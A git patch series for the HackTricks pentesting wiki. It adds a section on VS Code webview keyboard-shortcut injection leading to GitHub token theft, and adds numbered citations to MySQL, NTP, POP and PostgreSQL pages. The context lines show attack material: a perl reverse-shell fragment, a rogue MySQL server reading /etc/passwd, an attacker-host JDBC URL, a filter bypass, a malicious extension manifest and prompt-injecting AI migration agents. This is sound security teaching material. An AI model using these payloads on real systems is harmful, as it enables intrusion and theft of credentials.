From cc535b5715702b053bb8c798209e3266efc68aca Mon Sep 17 00:00:00 2001
From: HackTricks News Bot <bot@hacktricks.xyz>
Date: Thu, 30 Jul 2026 02:12:17 +0000
Subject: [PATCH 1/7] Add content from: One-Click GitHub Token Theft via VS
 Code Webview Keyboard Ev...

---
 .../electron-desktop-apps/README.md           | 61 +++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 1b3db9f3ff2..eaa31dcb7ec 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -467,6 +467,62 @@ Related reading on postMessage trust issues:
 ../../../pentesting-web/postmessage-vulnerabilities/README.md
 {{#endref}}
 
+
+## VS Code / github.dev: synthetic webview shortcuts + declarative extension command bridges
+
+A different VS Code webview escape class appeared in June 2026: **untrusted JavaScript inside a notebook/preview webview could synthesize privileged global shortcuts** because the webview preload forwarded `keydown` data to the host workbench and the host handled it as real user input.
+
+### Boundary failure
+
+If a cross-origin/sandboxed webview copies attacker-controlled keyboard fields (`key`, `code`, `keyCode`, modifiers, `repeat`) into a privileged `postMessage`/message-port bridge **without checking `event.isTrusted`**, JavaScript inside the webview can execute workbench shortcuts with:
+
+```javascript
+window.dispatchEvent(
+  new KeyboardEvent("keydown", {
+    key: "a",
+    code: "KeyA",
+    keyCode: 65,
+    ctrlKey: true,
+    shiftKey: true,
+  })
+)
+```
+
+This is especially useful when **synthetic typing is blocked** by the browser. Scripted key events usually **cannot type arbitrary text into HTML `<input>` elements**, but they still trigger shortcuts that consume `keydown` directly.
+
+### Practical abuse patterns
+
+- **Shortcut-oriented UI abuse:** target global bindings such as notification acceptance, palette navigation, focused-button activation, or menu movement instead of trying to type commands.
+- **Predictable privileged prompts from workspace metadata:** a repository-controlled `.vscode/extensions.json` can recommend an attacker extension and create a predictable install notification that can be accepted with a shortcut such as `Ctrl+Shift+A`.
+- **Declarative extension manifest as command bridge:** even if local workspace extension code is blocked by CSP in web VS Code, declarative `package.json` contributions may still load. A local extension under `.vscode/extensions` can register a keybinding that calls `runCommands` and then a privileged internal command such as `workbench.extensions.installExtension`.
+
+Example manifest pattern:
+
+```json
+{
+  "contributes": {
+    "keybindings": [{
+      "key": "ctrl+f1",
+      "command": "runCommands",
+      "args": {"commands": [{
+        "command": "workbench.extensions.installExtension"
+      }]}
+    }]
+  }
+}
+```
+
+- **Hidden security flags reachable from untrusted metadata:** if the internal command accepts attacker-controlled arguments like `{"context":{"skipPublisherTrust":true}}`, declarative metadata can suppress a trust dialog and install a Marketplace/CDN-hosted extension that finally executes attacker code.
+- **Trusted-workspace abuse:** if remote/web workspaces are auto-trusted, local workspace extensions become a high-value bridge from repository content to privileged editor actions.
+- **Post-compromise scope amplification:** after extension execution, inspect what tokens the editor exposes to extensions. In `github.dev`, the stolen GitHub token was valid beyond the opened repository, so querying `https://api.github.com/user/repos` enumerated additional accessible private repositories.
+
+### Audit notes
+
+- Treat **webview-to-host input forwarding** as a privilege boundary; never re-dispatch synthetic key/click events from untrusted frames into the host.
+- Enforce authorization **inside** sensitive commands. Do not accept caller-provided command context that can set internal flags such as `skipPublisherTrust`.
+- Do not assume blocking executable local extension code is enough; also review **declarative contributions** (`keybindings`, `menus`, `commands`, tasks) from workspace-controlled manifests.
+- The June 3, 2026 fixes added `isTrusted` to forwarded events, disabled untrusted key forwarding in notebook webviews, and stopped accepting caller-supplied install-command context.
+
 ## Post-exploitation: ASAR/main-process implants
 
 If you obtain **write access** to an Electron app resources directory, a very practical post-exploitation primitive is to **patch `app.asar`** (or the JS entrypoint it loads) and wait for the user to relaunch the app. Unlike a renderer-only XSS, code loaded from the **main process** executes in the app's **Node.js runtime**, so it can usually access the **filesystem**, spawn commands, hook Electron APIs, and inspect authenticated application state.
@@ -663,5 +719,10 @@ Detection and mitigations
 - More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
 - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
 - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
+- [One-Click GitHub Token Theft via VS Code Webview Keyboard Event Injection](https://blog.ammaraskar.com/github-token-stealing)
+- [VS Code issue #319593: Webviews can trigger arbitrary keyboard shortcuts in the main workbench](https://github.com/microsoft/vscode/issues/319593)
+- [VS Code PR #319705: confirm notebook opening and stop accepting caller-provided installExtension context](https://github.com/microsoft/vscode/pull/319705)
+- [VS Code PR #319813: block programmatic webview keypress/click re-dispatch in notebook webviews](https://github.com/microsoft/vscode/pull/319813)
+- [VS Code 1.89 / local workspace extensions](https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions)
 
 {{#include ../../../banners/hacktricks-training.md}}

From 2f1c8a93939687b38a7a95d15dd07a90239dc07e Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 10:57:50 +0200
Subject: [PATCH 2/7] References audit: numbered citations for 50 pages

Audits the '## References' of these pages: merges duplicated reference
sections into one, numbers every entry, adds the linked
<sup>[[N]](#references)</sup> citations to the content each reference is the
source of, drops unused references and credits the original research.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---
 .../pentesting-mysql.md                       | 28 +++----
 .../pentesting-ntp.md                         | 30 ++++----
 .../pentesting-pop.md                         |  7 +-
 .../pentesting-postgresql.md                  | 59 +++++++-------
 .../pentesting-rdp.md                         | 10 +--
 .../pentesting-remote-gdbserver.md            |  3 -
 .../pentesting-rlogin.md                      |  5 --
 .../pentesting-rpcbind.md                     |  3 -
 .../pentesting-rsh.md                         |  3 -
 .../pentesting-sap.md                         | 33 ++++----
 .../pentesting-smb/README.md                  |  9 +--
 ...bd-attack-surface-and-fuzzing-syzkaller.md | 77 ++++++++++---------
 .../pentesting-smb/rpcclient-enumeration.md   |  9 ++-
 .../pentesting-smtp/README.md                 | 28 +++----
 .../pentesting-smtp/smtp-commands.md          |  3 -
 .../pentesting-smtp/smtp-smuggling.md         |  8 +-
 .../pentesting-snmp/README.md                 |  2 -
 .../pentesting-snmp/cisco-snmp.md             | 19 +++--
 .../pentesting-snmp/snmp-rce.md               | 15 ++--
 .../pentesting-ssh.md                         | 32 ++++----
 .../pentesting-telnet.md                      | 14 ++--
 .../pentesting-vnc.md                         |  9 ++-
 .../pentesting-voip/README.md                 | 41 +++++-----
 .../basic-voip-protocols/README.md            |  3 -
 .../sip-session-initiation-protocol.md        |  2 -
 .../pentesting-web/403-and-401-bypasses.md    |  3 -
 .../pentesting-web/README.md                  |  4 -
 .../aem-adobe-experience-cloud.md             | 13 ++--
 .../pentesting-web/angular.md                 | 50 ++++++------
 .../pentesting-web/apache.md                  |  2 +-
 .../artifactory-hacking-guide.md              |  1 -
 .../pentesting-web/bolt-cms.md                |  3 -
 .../pentesting-web/buckets/README.md          |  1 -
 .../buckets/firebase-database.md              |  1 -
 .../pentesting-web/cgi.md                     |  1 -
 .../pentesting-web/code-review-tools.md       | 16 +---
 .../pentesting-web/custom-protocols.md        |  2 +-
 .../pentesting-web/django.md                  |  2 +-
 .../dotnet-soap-wsdl-client-exploitation.md   |  2 +-
 .../pentesting-web/dotnetnuke-dnn.md          | 12 ++-
 .../pentesting-web/drupal/README.md           |  3 -
 .../pentesting-web/drupal/drupal-rce.md       | 15 ++--
 .../electron-desktop-apps/README.md           | 40 +++++-----
 ...solation-rce-via-electron-internal-code.md |  1 -
 .../electron-contextisolation-rce-via-ipc.md  |  1 +
 ...n-contextisolation-rce-via-preload-code.md |  2 +-
 .../pentesting-web/flask.md                   |  2 -
 .../pentesting-web/fortinet-fortiweb.md       |  2 +-
 .../pentesting-web/git.md                     | 12 +--
 .../pentesting-web/graphql.md                 |  4 -
 50 files changed, 300 insertions(+), 347 deletions(-)

diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
index 80bfdbfdd0d..2b43a880000 100644
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@@ -126,7 +126,7 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
 
 #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
 
-Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.
+Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.<sup>[[1]](#references)</sup>
 
 1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
 2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
@@ -188,9 +188,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
 
-**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
-**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) <sup>[[2]](#references)</sup>\
+**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/) <sup>[[3]](#references)</sup>\
+**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) <sup>[[4]](#references)</sup>
 
 ​
 
@@ -336,7 +336,7 @@ SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
 ```
 
-This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
+This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.<sup>[[5]](#references)</sup>
 
 ### Extracting MySQL credentials from files
 
@@ -751,7 +751,7 @@ jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform
 ```
 
 Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.  
-(See Snyk write-up for details)  
+(See Snyk write-up for details)<sup>[[6]](#references)</sup>  
 
 ### Rogue / Fake MySQL server attacks against JDBC clients
 Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
@@ -771,7 +771,7 @@ Example one-liner to start a fake server (Java):
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
 
-Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).<sup>[[7]](#references)</sup>
 
 ### Cracking `caching_sha2_password` hashes
 MySQL ≥ 8.0 stores password hashes as **`$mysql-sha2$`** (SHA-256). Both Hashcat (mode **21100**) and John-the-Ripper (`--format=mysql-sha2`) support offline cracking since 2023. Dump the `authentication_string` column and feed it directly:
@@ -795,13 +795,13 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ---
 
 ## References
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
-- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
-- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
-- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
-
-
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+- [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+- [2] [allyshka/Rogue-MySql-Server – rogue MySQL server PoC for client-side arbitrary file read](https://github.com/allyshka/Rogue-MySql-Server)
+- [3] [MySQL client arbitrary file read: full attack description and RCE extension (paper.seebug.org)](https://paper.seebug.org/1113/)
+- [4] [MySQL client "connect & file read" attack overview (russiansecurity.expert)](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+- [5] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [6] [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
+- [7] [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
index f9b875da17d..d5177280da0 100644
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@@ -57,7 +57,7 @@ chronyc -a -n sources -v -h <IP>
 chronyc -a -n sourcestats -h <IP>
 ```
 
-See the chronyc man page for the meaning of the **M/S** flags and other fields (stratum, reach, jitter, etc.).
+See the chronyc man page for the meaning of the **M/S** flags and other fields (stratum, reach, jitter, etc.).<sup>[[9]](#references)</sup>
 
 ### Nmap
 
@@ -90,12 +90,12 @@ Pay special attention to ``restrict`` lines, ``kod`` (Kiss-o'-Death) settings, `
 
 | Year | CVE | Component | Impact |
 |------|-----|-----------|--------|
-| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes. |
-| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**. |
-| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022) |
-| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts. |
+| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes.<sup>[[5]](#references)</sup> |
+| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**.<sup>[[6]](#references)</sup> |
+| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022)<sup>[[7]](#references)</sup> |
+| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts.<sup>[[3]](#references)</sup> |
 
-> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins. 
+> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins.<sup>[[5]](#references)</sup> 
 
 ---
 ## Advanced Attacks
@@ -156,7 +156,7 @@ port:4460 "ntske"         # NTS-KE
 | Tool | Purpose | Example |
 |------|---------|---------|
 | ``ntpwn`` | Script-kiddie wrapper to spray monlist & peers queries | ``python ntpwn.py --monlist targets.txt`` |
-| **zgrab2 ntp** | Mass scanning / JSON output including monlist flag | See command above |
+| **zgrab2 ntp** | Mass scanning / JSON output including monlist flag<sup>[[10]](#references)</sup> | See command above |
 | ``chronyd`` with ``allow`` | Run rogue NTP server in pentest lab | ``chronyd -q 'server 127.127.1.0 iburst'`` |
 | ``BetterCap`` | Inject NTP packets for time-shift MITM on Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
 
@@ -187,13 +187,13 @@ Entry_2:
 
 - [1] [RFC 8915 – Network Time Security for the Network Time Protocol (port 4460)](https://www.rfc-editor.org/rfc/rfc8915)
 - [2] [RFC 8633 – Network Time Protocol BCP](https://www.rfc-editor.org/rfc/rfc8633)
-- [3] Cloudflare DDoS report 2024 Q4 (5.6 Tbps)
-- [4] Cloudflare *NTP Amplification Attack* article
-- [5] NTP 4.2.8p15 CVE series 2023-04
-- [6] NVD entries CVE-2023-26551–55, CVE-2023-33192
-- [7] SUSE chrony security update 2024 (chrony 4.5)
-- [8] Khronos/Chronos draft (time-shift mitigation)
-- [9] chronyc manual/examples for remote monitoring
-- [10] zgrab2 ntp module docs
+- [3] [Cloudflare – Record-breaking 5.6 Tbps DDoS attack and global DDoS trends for 2024 Q4](https://blog.cloudflare.com/ddos-threat-report-for-2024-q4/)
+- [4] [Cloudflare Learning Center – NTP Amplification DDoS Attack](https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/)
+- [5] [NVD – CVE-2023-26551 (ntp 4.2.8p15 out-of-bounds write series)](https://nvd.nist.gov/vuln/detail/CVE-2023-26551)
+- [6] [NVD – CVE-2023-33192 (ntpd-rs NTS cookie denial of service)](https://nvd.nist.gov/vuln/detail/CVE-2023-33192)
+- [7] [SUSE – Recommended update for chrony (SUSE-RU-2024:2022-1)](https://www.suse.com/support/update/announcement/2024/suse-ru-20242022-1/)
+- [8] [RFC 9523 – A Secure Selection and Filtering Mechanism for the Network Time Protocol with Khronos](https://www.rfc-editor.org/rfc/rfc9523)
+- [9] [chrony project – chronyc(1) manual](https://chrony-project.org/doc/4.5/chronyc.html)
+- [10] [zgrab2 – ntp module](https://github.com/zmap/zgrab2/tree/master/modules/ntp)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md
index 3af742556e1..29bbe0a14b5 100644
--- a/src/network-services-pentesting/pentesting-pop.md
+++ b/src/network-services-pentesting/pentesting-pop.md
@@ -38,7 +38,7 @@ The `pop3-ntlm-info` plugin will return some "**sensitive**" data (Windows versi
 
 ## POP syntax
 
-POP commands examples from [here](http://sunnyoasis.com/services/emailviatelnet.html)
+POP commands examples from [here](http://sunnyoasis.com/services/emailviatelnet.html)<sup>[[1]](#references)</sup>
 
 ```bash
 POP commands:
@@ -128,7 +128,8 @@ Entry_6:
 
 ```
 
-{{#include ../banners/hacktricks-training.md}}
-
+## References
 
+- [1] [Sending and Receiving Email via Telnet](http://sunnyoasis.com/services/emailviatelnet.html)
 
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md
index 38e634aa07e..0a356e25a52 100644
--- a/src/network-services-pentesting/pentesting-postgresql.md
+++ b/src/network-services-pentesting/pentesting-postgresql.md
@@ -76,7 +76,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
 
 ### **Port scanning**
 
-According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.
+According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.<sup>[[1]](#references)</sup>
 
 ```sql
 SELECT * FROM dblink_connect('host=1.2.3.4
@@ -313,7 +313,7 @@ However, there are **other techniques to upload big binary files:**
 
 ### Updating PostgreSQL table data via local file write
 
-If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
+If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).<sup>[[2]](#references)</sup>
 
 Required steps:
 
@@ -421,7 +421,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
 > [**More info.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
 
 Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
-More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
+More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).<sup>[[3]](#references)</sup>
 
 #### Bypass keyword filters/WAF to reach COPY PROGRAM
 
@@ -436,7 +436,7 @@ BEGIN
 END $$;
 ```
 
-This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.
+This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.<sup>[[4]](#references)[[5]](#references)</sup>
 
 ### RCE with PostgreSQL Languages
 
@@ -465,7 +465,7 @@ The **configuration file** of PostgreSQL is **writable** by the **postgres user*
 
 #### **RCE with ssl_passphrase_command**
 
-More information [about this technique here](https://pulsesecurity.co.nz/articles/postgres-sqli).
+More information [about this technique here](https://pulsesecurity.co.nz/articles/postgres-sqli).<sup>[[6]](#references)</sup>
 
 The configuration file have some interesting attributes that can lead to RCE:
 
@@ -489,7 +489,7 @@ While testing this I noticed that this will only work if the **private key file
 
 #### **RCE with archive_command**
 
-**More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
+**More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**<sup>[[7]](#references)</sup>
 
 Another attribute in the configuration file that is exploitable is `archive_command`.
 
@@ -530,11 +530,11 @@ SELECT pg_reload_conf();
 SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions
 ```
 
-This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.
+This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.<sup>[[4]](#references)</sup>
 
 #### **RCE with preload libraries**
 
-More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).
+More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).<sup>[[8]](#references)</sup>
 
 This attack vector takes advantage of the following configuration variables:
 
@@ -651,7 +651,7 @@ COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username>
 
 ### **ALTER TABLE privesc**
 
-In [**this writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
+In [**this writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.<sup>[[9]](#references)</sup>
 
 When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
 
@@ -743,7 +743,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
 
 ### **Custom defined function with** SECURITY DEFINER
 
-[**In this writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters were able to privesc inside a postgres instance provided by IBM, because they **found this function with the SECURITY DEFINER flag**:
+[**In this writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters were able to privesc inside a postgres instance provided by IBM, because they **found this function with the SECURITY DEFINER flag**:<sup>[[10]](#references)</sup>
 
 <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
     RETURNS text 
@@ -795,7 +795,7 @@ And then **execute commands**:
 
 If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
 
-Read more about **this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
+Read more about **this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**<sup>[[2]](#references)</sup>
 
 The attack steps are:
 
@@ -810,7 +810,7 @@ The attack steps are:
 
 ### Prompt-injecting managed migration tooling
 
-AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts. A practical workflow is:
+AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts.<sup>[[11]](#references)</sup> A practical workflow is:
 
 1. Enumerate who is actually applying migrations:
 
@@ -828,7 +828,7 @@ ORDER BY version DESC LIMIT 20;
 
 ### Dumping `pg_authid` metadata via migrations
 
-Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.
+Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.<sup>[[11]](#references)</sup>
 
 <details>
 <summary>Staging pg_authid metadata with a privileged migration</summary>
@@ -860,7 +860,7 @@ Low-privileged users can now read `public.ai_models` to obtain SCRAM hashes and
 
 ### Event-trigger privesc during `postgres_fdw` extension installs
 
-Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.
+Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.<sup>[[11]](#references)</sup>
 
 Exploit flow:
 
@@ -909,7 +909,7 @@ Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure th
 
 ### Turning transient SUPERUSER access into host compromise
 
-After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:
+After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:<sup>[[11]](#references)</sup>
 
 ```sql
 INSERT INTO public.ai_models(model_name, config)
@@ -963,11 +963,11 @@ sqlite3 pgadmin4.db "select * from server;"
 string pgadmin4.db
 ```
 
-In Dockerized deployments, pgAdmin secrets are often split between **`pgadmin4.db`**, **environment variables**, and **runtime-only connection state**.
+In Dockerized deployments, pgAdmin secrets are often split between **`pgadmin4.db`**, **environment variables**, and **runtime-only connection state**.<sup>[[12]](#references)</sup>
 
 #### Authenticated RCE before 9.2 (CVE-2025-2945)
 
